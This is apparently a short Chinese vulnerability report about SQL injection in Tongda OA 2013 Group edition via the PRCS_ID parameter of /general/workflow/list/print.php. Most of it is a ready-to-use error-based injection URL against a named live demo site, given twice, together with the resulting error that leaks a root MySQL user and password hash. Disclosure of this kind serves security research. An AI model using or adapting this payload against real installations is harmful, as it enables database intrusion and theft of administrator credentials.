通达oa2013集团版注入+DBA

### 简要描述： 通达哦 ### 详细说明： 官网demo登录: http://www.day900.com/ payload一起: http://www.day900.com/general/workflow/list/print/?RUN_ID=3128&FLOW_ID=69&PRCS_ID=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 返回: 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select HIDDEN_ITEM from FLOW_PROCESS,FLOW_RUN_PRCS where FLOW_PROCESS.FLOW_ID='69' and FLOW_RUN_PRCS.RUN_ID='3128' and FLOW_RUN_PRCS.USER_ID='ghq' and FLOW_PROCESS.PRCS_ID=FLOW_RUN_PRCS.FLOW_PRCS and FLOW_RUN_PRCS.PRCS_ID=1 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 文件：/general/workflow/list/print.php ### 漏洞证明： payload一起: http://www.day900.com/general/workflow/list/print/?RUN_ID=3128&FLOW_ID=69&PRCS_ID=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 返回: 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select HIDDEN_ITEM from FLOW_PROCESS,FLOW_RUN_PRCS where FLOW_PROCESS.FLOW_ID='69' and FLOW_RUN_PRCS.RUN_ID='3128' and FLOW_RUN_PRCS.USER_ID='ghq' and FLOW_PROCESS.PRCS_ID=FLOW_RUN_PRCS.FLOW_PRCS and FLOW_RUN_PRCS.PRCS_ID=1 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 文件：/general/workflow/list/print.php